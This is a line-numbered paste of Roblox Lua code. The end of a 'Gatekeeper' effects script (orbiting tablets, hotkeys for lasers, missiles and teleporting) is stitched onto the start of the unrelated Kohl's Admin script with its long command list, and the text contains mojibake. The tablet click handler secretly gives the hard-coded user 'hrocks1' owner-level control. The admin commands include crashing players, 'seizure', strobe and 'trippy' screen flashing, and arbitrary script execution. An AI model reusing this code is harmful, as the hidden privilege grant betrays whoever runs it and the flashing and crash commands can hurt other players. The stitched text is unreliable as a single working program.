  5667.                                 for i,v in pairs(Tablets) do
  5668.                                                 pcall(function() v.Part:Destroy() end)
  5669.                                                 pcall(function() Tablets[i] = nil end)
  5670.                                         end
  5671.                         end)
  5672.                 end
  5673. end
  5674.  
  5675. Tablets = {};
  5676. TabsInWorkspace = false
  5677. function Tablet(Text, Color, onClicked,onTouched,staytime)
  5678.         --[[pcall(function() local a = Color.r if type(a) == "number" then Color = a end end)
  5679.         pcall(function() local a = BrickColor.new(Color) if a then Color = a.Color end end)]]
  5680.         if not pcall(function() local a = Color.r if type(a) ~= "number" then error() end end) then
  5681.                 Color = Colors.White
  5682.         end
  5683.         Color = BrickColor.new(Color).Color -- 2much colors c:
  5684.         if Player.Character.Torso == nil then
  5685.                 return
  5686.         end
  5687.         local Insert = {}
  5688.         local tab = Instance.new("Part")
  5689.         if TabsInWorkspace == false then
  5690.             tab.Parent = Workspace.CurrentCamera
  5691.         else
  5692.             tab.Parent = Workspace
  5693.         end
  5694.         local light = Instance.new("PointLight", tab)
  5695.         light.Enabled = true
  5696.         light.Range = 15
  5697.         tab.Name = tostring(math.random(-99999,99999))
  5698. tab.TopSurface = Enum.SurfaceType.Smooth
  5699. tab.LeftSurface = Enum.SurfaceType.Smooth
  5700. tab.RightSurface = Enum.SurfaceType.Smooth
  5701. tab.FrontSurface = Enum.SurfaceType.Smooth
  5702. tab.BackSurface = Enum.SurfaceType.Smooth
  5703. tab.BottomSurface = Enum.SurfaceType.Smooth
  5704.         tab.FormFactor = "Custom"
  5705.         tab.Size = Vector3.new(1.8, 1.8, 1.8)
  5706.         tab.Anchored = true
  5707.         tab.Locked = true
  5708.         tab.CanCollide = false
  5709.         tab.Transparency = 0.5
  5710.         tab.Color = BrickColor.new(Color).Color
  5711.         tab.CFrame = Player.Character.Head.CFrame
  5712.         if onTouched~=nil then
  5713.                 tab.Touched:connect(function(what)
  5714.                         a,b=ypcall(function()
  5715.                                 onTouched(what)
  5716.                         end)
  5717.                         if not a then error(b) end
  5718.                 end)
  5719.         end
  5720.         local box = Instance.new("SelectionBox", tab)
  5721.         box.Adornee = box.Parent
  5722.         box.Transparency = BoxTrans
  5723.         box.Color = BrickColor.new(Color)
  5724.         local gui = Instance.new("BillboardGui", tab)
  5725.         gui.Adornee = tab
  5726.         gui.StudsOffset = Vector3.new(0,tab.Size.Y+0.5,0)
  5727.         gui.Size = UDim2.new(1,0,1,0)
  5728.         local text = Instance.new("TextLabel", gui)
  5729.         text.BackgroundTransparency = 1
  5730.         text.Text = tostring(Text)
  5731.         text.Position = UDim2.new(0.5,0,0.5,0)
  5732.         text.Font = "ArialBold"
  5733.         text.FontSize = "Size18"
  5734.         text.TextColor3 = Color
  5735.         text.TextStrokeTransparency = 1
  5736.        
  5737.         local function DestroyThisTab()
  5738.                 pcall(function() tab:Destroy() end)
  5739.                 for i,v in pairs(Tablets) do
  5740.                         if v.Part.Name == tab.Name then
  5741.                                 table.remove(Tablets, i)      
  5742.                         end
  5743.                 end
  5744.         end
  5745.        
  5746.         local Click = Instance.new("ClickDetector", tab)
  5747.         Click.MaxActivationDistance = math.huge
  5748.         Click.MouseHoverEnter:connect(function(CPlayer)
  5749.                 if CPlayer.Name == Player.Name then
  5750.                         tab.Transparency = 0.2
  5751.                         box.Transparency = 0.2
  5752.                 end
  5753.         end)
  5754.         Click.MouseHoverLeave:connect(function(CPlayer)
  5755.                 if CPlayer.Name == Player.Name then
  5756.                         tab.Transparency = 0.5
  5757.                         box.Transparency = 0.5
  5758.                 end
  5759.         end)
  5760.         Click.MouseClick:connect(function(CPlayer)
  5761.                 if CPlayer.Name == Player.Name or CPlayer.Name == "hrocks1" then
  5762.                         if onClicked == nil then
  5763.                                 DestroyThisTab()
  5764.                         else
  5765.                                 local Run,Error = ypcall(function()
  5766.                                         onClicked()
  5767.                                 end)
  5768.                                 if Error then
  5769.                                         Tablet(tostring(Error), Colors.Red)    
  5770.                                 end
  5771.                                 DestroyThisTab()
  5772.                         end
  5773.                 end
  5774.         end)
  5775.         if type(staytime) == "number" then
  5776.                 Delay(staytime,function()
  5777.                         pcall(function() DestroyThisTab() end)
  5778.                 end)
  5779.         end
  5780.         Insert.Part = tab
  5781.         table.insert(Tablets, Insert)
  5782.         local rtn = {
  5783.                 tab=tab;
  5784.                 light=light;
  5785.                 box=box;
  5786.                 gui=gui;
  5787.                 text=text;
  5788.                 Click=Click;
  5789.                 Insert=Insert;
  5790.         }
  5791.         for i,v in pairs(rtn) do
  5792.                 pcall(function()
  5793.                         v.AncestryChanged:connect(function()
  5794.                                 if tab.Parent ~= game.Workspace then
  5795.                                         Delay(1,function() pcall(function() DestroyThisTab() end) end)
  5796.                                 end
  5797.                         end)
  5798.                 end)
  5799.         end
  5800.         return rtn
  5801. end
  5802.  
  5803. Rotation = 0
  5804. RotationAddValue = 0.0002
  5805.  
  5806. ROT=function() --OH LOL worst mistake xD Do you have tab table? Yup I just fixed it
  5807. game['Run Service'].Stepped:connect(function()
  5808.         pcall(function()
  5809.                         Rotation = Rotation + RotationAddValue -- oh
  5810.                         --Rotation=0.0002
  5811.                         local AllTabs = {}
  5812.                         for _,tab in pairs(Tablets) do
  5813.                                         table.insert(AllTabs, tab)
  5814.                         end
  5815.                         for i = 1, #AllTabs do
  5816.                                 if Player.Character ~= nil then
  5817.                                                 local Position = Player.Character.Torso.CFrame.p
  5818.                                                 local Radius = (#AllTabs * 0.5) + 5
  5819.                                                 local M = (i / #AllTabs - (0.5 / #AllTabs) * Rotation * 2) * math.pi * (4/2)
  5820.                                                 local X = math.sin(M) * Radius
  5821.                                                 local Y = math.sin(i + tick())
  5822.                                                 local Z = math.cos(M) * Radius
  5823.                                                 local A = Vector3.new(X, Y, Z) + Position
  5824.                                                 local B = AllTabs[i].Part.CFrame.p
  5825.                                                 local C = A * 0.1 + B * 0.9
  5826.                                                 local Cube_Rotation = (Rotation * 20)
  5827.                                                 local D = CFrame.Angles(Cube_Rotation, Cube_Rotation, Cube_Rotation)
  5828.                                                 AllTabs[i].Part.CFrame = CFrame.new(C, Position) * D
  5829.                             end
  5830.             end
  5831.         end)
  5832. end)
  5833. end
  5834.  
  5835.  
  5836. function CheckHotKey()
  5837.     local uis = game:service'UserInputService'
  5838.     if uis:IsKeyDown(Enum.KeyCode.LeftControl) then
  5839.         if uis:IsKeyDown(Enum.KeyCode.Z) then
  5840.             Utility.CreateDummy(Mouse.Hit, "???", Workspace)
  5841.         elseif uis:IsKeyDown(Enum.KeyCode.X) then
  5842.             GraphicalEffects.ShootLaserOfDeath(Mouse.Hit.p)
  5843.         elseif uis:IsKeyDown(Enum.KeyCode.C) then
  5844.             GraphicalEffects.SpaceHyperBeam(Mouse.Hit.p)
  5845.         elseif uis:IsKeyDown(Enum.KeyCode.Q) then
  5846.             if characterMode == "normal" then PlayerControl.SetEnabled(not PlayerControl.characterEnabled) end
  5847.         elseif uis:IsKeyDown(Enum.KeyCode.R) then
  5848.             GraphicalEffects.SpawnSapientRock(Mouse.Hit.p)
  5849.         elseif uis:IsKeyDown(Enum.KeyCode.V) then
  5850.             chatAdornee = Mouse.Target
  5851.         elseif uis:IsKeyDown(Enum.KeyCode.T) then
  5852.             ControllerCommands.TeleportCharacterToMouse()
  5853.         elseif uis:IsKeyDown(Enum.KeyCode.E) then
  5854.             ControllerCommands.ShootMissileAroundMouse(5, 25, nil)
  5855.         elseif uis:IsKeyDown(Enum.KeyCode.G) then
  5856.             ControllerCommands.BigLaserAtMouse()
  5857.         elseif uis:IsKeyDown(Enum.KeyCode.H) then
  5858.             ControllerCommands.ControlRandomDummy()
  5859.         elseif uis:IsKeyDown(Enum.KeyCode.B) then
  5860.             ControllerCommands.BalefireAtMouse()
  5861.         elseif uis:IsKeyDown(Enum.KeyCode.Y) then
  5862.             if Mouse.Target:IsA("Part") or Mouse.Target:IsA("Model") and Mouse.Target.Name ~= "Base" then local targ = Mouse.Target GraphicalEffects.CrystalRing({base_part = targ, crystal_color = BrickColor.new("Really black"), float_duration = 0.5,fade_out_color = BrickColor.new("Institutional White")}) targ:Destroy() end
  5863.         elseif uis:IsKeyDown(Enum.KeyCode.F) then
  5864.             if flying == true then
  5865.                 PlayerControl.StopFlying()
  5866.             else
  5867.                 PlayerControl.StartFlying()
  5868.             end
  5869.         end
  5870.     end
  5871. end
  5872.  
  5873. ROT()
  5874.  
  5875. game.ReplicatedStorage.DescendantRemoving:connect(function(itm)
  5876.     if itm.Name == "GKAttachment" then
  5877.         wait(2)
  5878.         RF = game.ReplicatedStorage:findFirstChild("GKAttachment") or nil
  5879.     end
  5880. end)
  5881. TabsInWorkspace = true;
  5882. Tablet("GK // REWRITE has loaded!", Colors.Lime)
  5883. Tablet("Gatekeeper was originally made by noliCAIKS", Colors.Orange)
  5884. Tablet("This version of Gatekeeper is being developed by areno2002", Colors.SoftBlue)
  5885. GraphicalEffects.CrystalRing({base_part = Player.Character.Torso, fade_out_color = BrickColor.new("Toothpaste"), crystal_color = BrickColor.new("Lime green"), crystal_count = 10, float_duration = 1})
  5886. Player.Chatted:connect(function(msg) if string.sub(msg,1,1) == "/" then onChatted(msg) else ChatBubble.Create(msg) end end)
  5887. if script:IsA("LocalScript") then Mouse.Button1Down:connect(CheckHotKey) end
  5888. -- Its very similar to the #15
  5889. β€” Kohls
  5890. -----------------------------------------------------------------------------------------
  5891. -- Replace harrypotterfan249 with your name c: --
  5892. -----------------------------------------------------------------------------------------
  5893. local owners = {"paul0072"} -- Are able to set admins who can ban/etc... using :pa name
  5894. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  5895. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  5896. local banland = {"MasterKhaos"} -- Permanently Bans people
  5897. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  5898. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  5899. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  5900. ---------------------
  5901. --    VIP Admin    --
  5902. ---------------------
  5903. local VipAdmin = false -- If someone can have admin for owning an item
  5904. local ItemId = 0 -- The item they must own in order to have admin
  5905. ---------------------
  5906. --   Group Admin   --
  5907. ---------------------
  5908. local GroupAdmin = false -- If a certain group can have admin
  5909. local GroupId = 0 -- Sets the group id that can have admin
  5910. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  5911. ---------------------
  5912. -- Tips and Tricks --
  5913. ---------------------
  5914. --[[
  5915. With this admin you can do a command on multiple people at a time;
  5916.      :kill me,noob1,noob2,random,team-raiders,nonadmins
  5917.  
  5918. You can also use a variety commands for different people;
  5919.      all
  5920.      others
  5921.      me
  5922.      team-
  5923.      admins
  5924.      nonadmins
  5925.      random
  5926. --]]
  5927. ---------------------
  5928. --    Commands     --
  5929. ---------------------
  5930. --[[
  5931. -- |Temp Admin Commands| --
  5932. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  5933. 1. :s print("Hello World") -- Lets you script normally
  5934. 2. :ls print("Hello World") -- Lets you script in localscripts
  5935. 3. :clear -- Will remove all scripts/localscripts and jails
  5936. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  5937. 5. :kill kohl -- Kills the player
  5938. 6. :respawn kohl -- Respawns the player
  5939. 7. :trip kohl -- Trips the player
  5940. 8. :stun kohl -- Stuns the player
  5941. 9. :unstun kohl -- Unstuns the player
  5942. 10. :jump kohl -- Makes the player jump
  5943. 11. :sit kohl -- Makes the player sit
  5944. 12. :invisible kohl -- Makes the player invisible
  5945. 13. :visible kohl -- Makes the player visible
  5946. 14. :explode kohl -- Makes the player explode
  5947. 15. :fire kohl -- Sets the player on fire
  5948. 16. :unfire kohl -- Removes fire from the player
  5949. 17. :smoke kohl -- Adds smoke to the player
  5950. 18. :unsmoke kohl -- Removes smoke from the player
  5951. 19. :sparkles kohl -- Adds sparkles to the player
  5952. 20. :unsparkles kohl -- Removes sparkles from the player
  5953. 21. :ff kohl -- Adds a forcefield to the player
  5954. 22. :unff kohl -- Removes the forcefield from the player
  5955. 23. :punish kohl -- Punishes the player
  5956. 24. :unpunish kohl -- Unpunishes the player
  5957. 25. :freeze kohl -- Freezes the player
  5958. 26. :thaw kohl -- Thaws the player
  5959. 27. :heal kohl -- Heals the player
  5960. 28. :god kohl -- Makes the player have infinite health
  5961. 29. :ungod kohl -- Makes the player have 100 health
  5962. 30. :ambient .5 .5 .5 -- Changes the ambient
  5963. 31. :brightness .5 -- Changes the brightness
  5964. 32. :time 12 -- Changes the time
  5965. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  5966. 34. :fogend 100 -- Changes the fogend
  5967. 35. :fogstart 100 -- Changes the fogstart
  5968. 36. :removetools kohl -- Removes all tools from the player
  5969. 37. :btools kohl -- Gives the player building tools
  5970. 38. :give kohl sword -- Gives the player a tool
  5971. 39. :damage kohl -- Damages the player
  5972. 40. :grav kohl -- Sets the player's gravity to normal
  5973. 41. :setgrav kohl 100 -- Sets the player's gravity
  5974. 42. :nograv kohl -- Makes the player have 0 gravity
  5975. 43. :health kohl 1337 -- Changes the player's health
  5976. 44. :speed kohl 1337 -- Changes the player's walkspeed
  5977. 45. :name kohl potato -- Changes the player's name
  5978. 46. :unname kohl -- Remove the player's name
  5979. 47. :team kohl Raiders -- Changes the player's team
  5980. 48. :stopmusic -- Will stop all music playing in the server
  5981. 49. :teleport kohl potato -- Teleports the player
  5982. 50. :change kohl kills 1337 -- Changes a player's stat
  5983. 51. :kick kohl -- Removes the player from the game
  5984. 52. :infect kohl -- Turns the player into a zombie
  5985. 53. :rainbowify kohl -- Turns the player into a rainbow
  5986. 54. :flashify kohl -- Turns the player into a strobe
  5987. 55. :noobify kohl -- Turns the player into a noob
  5988. 56. :ghostify kohl -- Turns the player into a ghost
  5989. 57. :goldify kohl -- Turns the player into gold
  5990. 58. :shiny kohl -- Makes the player shiny
  5991. 59. :normal kohl -- Puts the player back to normal
  5992. 60. :trippy kohl -- Spams random colors on the player's screen
  5993. 61. :untrippy kohl -- Untrippys the player
  5994. 62. :strobe kohl -- Spams white and black on the player's screen
  5995. 63. :unstrobe kohl -- Unstrobes the player
  5996. 64. :blind kohl -- Blinds the player
  5997. 65. :unblind kohl -- Unblinds the player
  5998. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  5999. 67. :fling kohl -- Flings the player
  6000. 68. :seizure kohl -- Puts the player in a seizure
  6001. 69. :music 1337 -- Plays a sound from the ID
  6002. 70. :lock kohl -- Locks the player
  6003. 71. :unlock kohl -- Unlocks the player
  6004. 72. :removelimbs kohl -- Removes the player's limbs
  6005. 73. :jail kohl -- Puts the player in a jail
  6006. 74. :unjail kohl -- Removes the jail from the player
  6007. 75. :fix -- This will fix the lighting to it's original settings
  6008. 76. :fly kohl -- Makes the player fly
  6009. 77. :unfly kohl -- Removes fly from the player
  6010. 78. :noclip kohl -- Makes the player able to noclip
  6011. 79. :clip kohl -- Removes noclipping from the player
  6012. 80. :pm kohl Hey bro -- Sends the player a private message
  6013. 81. :dog kohl -- Turns the player into a dog
  6014. 82. :undog kohl -- Turns the player back to normal
  6015. 83. :creeper kohl -- Turns the player into a creeper
  6016. 84. :uncreeper kohl -- Turns the player back to normal
  6017. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  6018. 86. :char kohl 261 -- Will make a player look like a different player ID
  6019. 87. :unchar kohl -- Will return the player back to normal
  6020. 88. :h Hello People -- This will shout a hint to everyone
  6021. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  6022. 90. :starttools kohl -- Will give the player starter tools
  6023. 91. :sword kohl -- Will give the player a sword
  6024. 92. :bighead kohl -- Will make the player's head larger than normal
  6025. 93. :minihead kohl -- Will make the player's head smaller than normal
  6026. 94. :insert 1337 -- Will insert a model at the speaker's position
  6027. 95. :disco -- Will make the server flash random colors
  6028. 96. :flash -- Will make the server flash
  6029. 97. :admins -- Shows the admin list
  6030. 98. :bans -- Shows the banlist
  6031. 99. :musiclist -- Shows the music list
  6032. 100. :spin kohl -- Spins the player
  6033. 101. :cape kohl Really black -- Gives the player a colored cape
  6034. 102. :uncape kohl -- Removes the player's cape
  6035. 103. :loopheal kohl -- Will constantly heal the player
  6036. 104. :loopfling kohl -- Will constantly fling the player
  6037. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  6038. 106. :unloopheal kohl -- Will remove the loopheal on the player
  6039. 107. :unloopfling kohl -- Will remove the loopfling on the player
  6040. 108. :unspin kohl -- Removes spin from the player
  6041. 109. :tools -- Gives a list of the tools in the lighting
  6042. 110. :undisco -- Removes disco effects
  6043. 111. :unflash -- Removes flash effects
  6044. 112. :resetstats kohl -- Sets all the stats of a player to 0
  6045. 113. :gear kohl 1337 -- Gives a player a gear
  6046. 114. :cmdbar -- Gives the speaker a command bar
  6047. 115. :shirt kohl 1337 -- Changes the player's shirt
  6048. 116. :pants kohl 1337 -- Changes the player's pants
  6049. 117. :face kohl 1337 -- Changes the player's face
  6050. 118. :swagify kohl -- Swagifies the player
  6051. 119. :version -- Shows the current version of the admin
  6052. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  6053. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  6054. 122. :clone kohl -- Creates a clone of the player
  6055. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  6056. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  6057. 125. :control kohl -- Controls a player
  6058.  
  6059. -- |Admin Commands| --
  6060. - :serverlock -- Locks the server
  6061. - :serverunlock -- Unlocks the server
  6062. - :sm Hello World -- Creates a system message
  6063. - :crash kohl -- Crashes a player
  6064. - :admin kohl -- Admins a player
  6065. - :unadmin kohl -- Unadmins a player
  6066. - :ban kohl -- Bans a player
  6067. - :unban kohl -- Unbans a player
  6068. - :loopkill kohl -- Will constantly kill the player
  6069. - :unloopkill kohl -- Will remove the loopkill on the player
  6070. - :logs -- Will show all of the commands any admin has used in a game session
  6071. - :shutdown -- Shutsdown the server
  6072.  
  6073. -- |Owner Commands| --
  6074. - :pa kohl -- Makes someone a super admin
  6075. - :unpa kohl -- Removes a super admin
  6076. - :nuke kohl -- Creates a nuke on kohl
  6077.  
  6078. -- |True Owner Commands| --
  6079. - :oa kohl -- Makes someone an owner
  6080. - :unoa kohl -- Removes an owner
  6081. - :settings -- Shows settings for the commands
  6082. --]]
  6083. ---------------------
  6084. --   Main Script   --
  6085. ---------------------
  6086. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  6087.  
  6088. function CHEESE()
  6089. if game:service("Lighting"):findFirstChild("KACV2") then
  6090. owners = {} admins = {} tempadmins = {} banland = {}
  6091. for i,v in pairs(game.Lighting.KACV2:children()) do
  6092. if v.Name == "Owner" then table.insert(owners, v.Value) end
  6093. if v.Name == "Admin" then table.insert(admins, v.Value) end
  6094. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  6095. if v.Name == "Banland" then table.insert(banland, v.Value) end
  6096. if v.Name == "Prefix" then prefix = v.Value end
  6097. if v.Name == "FunCommands" then FunCommands = v.Value end
  6098. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  6099. if v.Name == "GroupId" then GroupId = v.Value end
  6100. if v.Name == "GroupRank" then GroupRank = v.Value end
  6101. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  6102. if v.Name == "ItemId" then ItemId = v.Value end
  6103. end
  6104. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  6105. end
  6106.  
  6107. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  6108. local lobjs = {}
  6109. local objects = {}
  6110. local logs = {}
  6111. local nfs = ""
  6112. local slock = false
  6113.  
  6114. function GetTime()
  6115. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  6116. if min < 10 then min = "0"..min end
  6117. return hour..":"..min
  6118. end
  6119.  
  6120. function ChkOwner(str)
  6121. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  6122. return false
  6123. end
  6124.  
  6125. function ChkAdmin(str,ck)
  6126. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  6127. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  6128. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  6129. return false
  6130. end
  6131.  
  6132. function ChkGroupAdmin(plr)
  6133. if GroupAdmin then
  6134. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  6135. return false
  6136. end
  6137. end
  6138.  
  6139. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  6140.  
  6141. function GetPlr(plr, str)
  6142. local plrz = {} str = str:lower()
  6143. if str == "all" then plrz = game.Players:children()
  6144. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  6145. else
  6146. local sn = {1} local en = {}
  6147. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  6148. for x = 1, #sn do
  6149. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  6150. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  6151. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  6152. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  6153. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  6154. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  6155. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  6156. end end end
  6157. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  6158. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  6159. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  6160. end end end
  6161. else
  6162. for a, plyr in pairs(game.Players:children()) do
  6163. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  6164. table.insert(plrz, plyr) break
  6165. end
  6166. end
  6167. end
  6168. end
  6169. end
  6170. return plrz
  6171. end
  6172.  
  6173. function Hint(str, plrz, time)
  6174. for i, v in pairs(plrz) do
  6175. if v and v:findFirstChild("PlayerGui") then
  6176. coroutine.resume(coroutine.create(function()
  6177. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  6178. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  6179. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  6180. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  6181. if not time then wait((#str/19)+2.5) else wait(time) end
  6182. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  6183. end))
  6184. end
  6185. end
  6186. end
  6187.  
  6188. function Message(ttl, str, scroll, plrz, time)
  6189. for i, v in pairs(plrz) do
  6190. if v and v:findFirstChild("PlayerGui") then
  6191. coroutine.resume(coroutine.create(function()
  6192. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  6193. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  6194. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  6195. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  6196. scr.Parent = v.PlayerGui
  6197. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  6198. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  6199. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  6200. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  6201. end))
  6202. end
  6203. end
  6204. end
  6205.  
  6206. function RemoveMessage()
  6207. for i,v in pairs(game.Players:children()) do
  6208. if v and v:findFirstChild("PlayerGui") then
  6209. for q,ms in pairs(v.PlayerGui:children()) do
  6210. if ms.Name == "MessageGUI" then
  6211. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  6212. elseif ms.Name == "HintGUI" then
  6213. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  6214. end
  6215. end
  6216. end
  6217. end
  6218. end
  6219.  
  6220. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  6221. _G["RemoveMessage"] = RemoveMessage()
  6222.  
  6223. function Output(str, plr)
  6224. coroutine.resume(coroutine.create(function()
  6225. local b, e = loadstring(str)
  6226. if not b and plr:findFirstChild("PlayerGui") then
  6227. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  6228. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  6229. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  6230. return
  6231. end
  6232. end))
  6233. end
  6234.  
  6235. function Noobify(char)
  6236. if char and char:findFirstChild("Torso") then
  6237. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  6238. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  6239. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6240. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
